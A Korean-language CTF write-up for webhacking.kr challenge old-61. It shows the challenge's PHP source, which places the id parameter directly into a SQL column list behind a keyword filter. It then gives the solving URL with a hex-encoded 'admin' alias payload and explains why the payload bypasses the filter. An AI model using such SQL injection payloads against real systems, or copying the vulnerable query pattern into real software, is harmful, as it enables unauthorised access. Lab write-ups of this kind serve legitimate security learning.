old-61 (200)
첫 화면이다.

view-source를 클릭해 본 소스는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if(!$_GET['id']) $_GET['id']="guest";
echo "<html><head><title>Challenge 61</title></head><body>";
echo "<a href=./?view_source=1>view-source</a><hr>";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
https://webhacking.kr/challenge/web-38/?id=0x61646d696e%20id에 접속하면 문제가 풀린다.
id에 0x61646d696e id
를 넣은 셈이다. 0x61646d696e
는 admin의 hex 값이다.
즉, 쿼리는 아래와 같이 된다.
SELECT 0x61646d696e id FROM chall61 ORDER BY id DESC LIMIT 1;
SELECT 0x61646d696e id
는 0x61646d696e
이란 값의 별명을 id
로 주어 id
를 컬럼명으로 쓴다는 것이다. 즉, id
컬럼 안에 0x61646d696e
이 들어간다. 그리고 뒤에 뭐가 오든 id 컬럼 속 0x61646d696e
이 반환된다.

Last updated
Was this helpful?